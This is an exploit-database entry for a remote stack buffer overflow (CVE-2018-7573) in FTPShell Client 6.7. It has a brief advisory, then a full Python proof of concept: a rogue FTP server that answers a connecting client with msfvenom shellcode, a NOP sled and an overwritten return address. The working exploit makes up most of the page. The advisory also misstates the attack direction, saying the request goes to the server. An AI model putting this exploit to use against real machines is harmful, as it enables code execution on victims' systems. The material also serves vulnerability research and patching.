FTPShell Client 6.7 - Remote Buffer Overflow

vendor:

FTPShell Client

by:

Sebastián Castro

9.8

CVSS

CRITICAL

Buffer Overflow

119

CWE

Product Name: FTPShell Client

Affected Version From: 6.7

Affected Version To: 6.7

Patch Exists: YES

Related CWE: CVE-2018-7573

CPE: a:ftpshell:ftpshell_client:6.7

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows XP SP3 x86.

2018

FTPShell Client 6.7 – Remote Buffer Overflow

A buffer overflow vulnerability exists in FTPShell Client 6.7, which could allow an attacker to execute arbitrary code on the target system. The vulnerability is due to a lack of proper validation of user-supplied data, which can result in a stack-based buffer overflow. An attacker can exploit this vulnerability by sending a specially crafted FTP request to the vulnerable server. Successful exploitation of this vulnerability could result in arbitrary code execution in the context of the application.

Mitigation:

Upgrade to the latest version of FTPShell Client 6.7 or later.

Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-

# Exploit Title: FTPShell Client 6.7 - Remote Buffer Overflow
# Date: 2018-01-03
# Exploit Author: Sebastián Castro @r4wd3r
# Vendor Homepage: http://www.ftpshell.com/index.htm
# Software Link: http://www.ftpshell.com/download.htm
# Version: 6.7
# Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows XP SP3 x86.
# CVE : CVE-2018-7573

import socket
import sys

port = 21

# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00\x22\x0d\x0a'
buf =  ""
buf += "\xdb\xc8\xba\x3e\x93\x15\x8f\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xc6\x3a\x71"
buf += "\xe0\x73\xaa\xf7\x0b\x8c\x2a\x98\x82\x69\x1b\x98\xf1"
buf += "\xfa\x0b\x28\x71\xae\xa7\xc3\xd7\x5b\x3c\xa1\xff\x6c"
buf += "\xf5\x0c\x26\x42\x06\x3c\x1a\xc5\x84\x3f\x4f\x25\xb5"
buf += "\x8f\x82\x24\xf2\xf2\x6f\x74\xab\x79\xdd\x69\xd8\x34"
buf += "\xde\x02\x92\xd9\x66\xf6\x62\xdb\x47\xa9\xf9\x82\x47"
buf += "\x4b\x2e\xbf\xc1\x53\x33\xfa\x98\xe8\x87\x70\x1b\x39"
buf += "\xd6\x79\xb0\x04\xd7\x8b\xc8\x41\xdf\x73\xbf\xbb\x1c"
buf += "\x09\xb8\x7f\x5f\xd5\x4d\x64\xc7\x9e\xf6\x40\xf6\x73"
buf += "\x60\x02\xf4\x38\xe6\x4c\x18\xbe\x2b\xe7\x24\x4b\xca"
buf += "\x28\xad\x0f\xe9\xec\xf6\xd4\x90\xb5\x52\xba\xad\xa6"
buf += "\x3d\x63\x08\xac\xd3\x70\x21\xef\xb9\x87\xb7\x95\x8f"
buf += "\x88\xc7\x95\xbf\xe0\xf6\x1e\x50\x76\x07\xf5\x15\x88"
buf += "\x4d\x54\x3f\x01\x08\x0c\x02\x4c\xab\xfa\x40\x69\x28"
buf += "\x0f\x38\x8e\x30\x7a\x3d\xca\xf6\x96\x4f\x43\x93\x98"
buf += "\xfc\x64\xb6\xfa\x63\xf7\x5a\xd3\x06\x7f\xf8\x2b"

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[+] FTP server started on port: "+str(port)+"\r\n")
except:
        print("[x] Failed to start the server on port: "+str(port)+"\r\n")

eip = "\xed\x2e\x45" # CALL ESI from FTPShell.exe : 0x00452eed
nops = "\x90"*40
junk = "F"*(400 - len(nops) - len(buf))
payload = nops + buf + junk + eip

while True:
    conn, addr = s.accept()
    conn.send('220 FTP Server\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+payload+'" is current directory\r\n')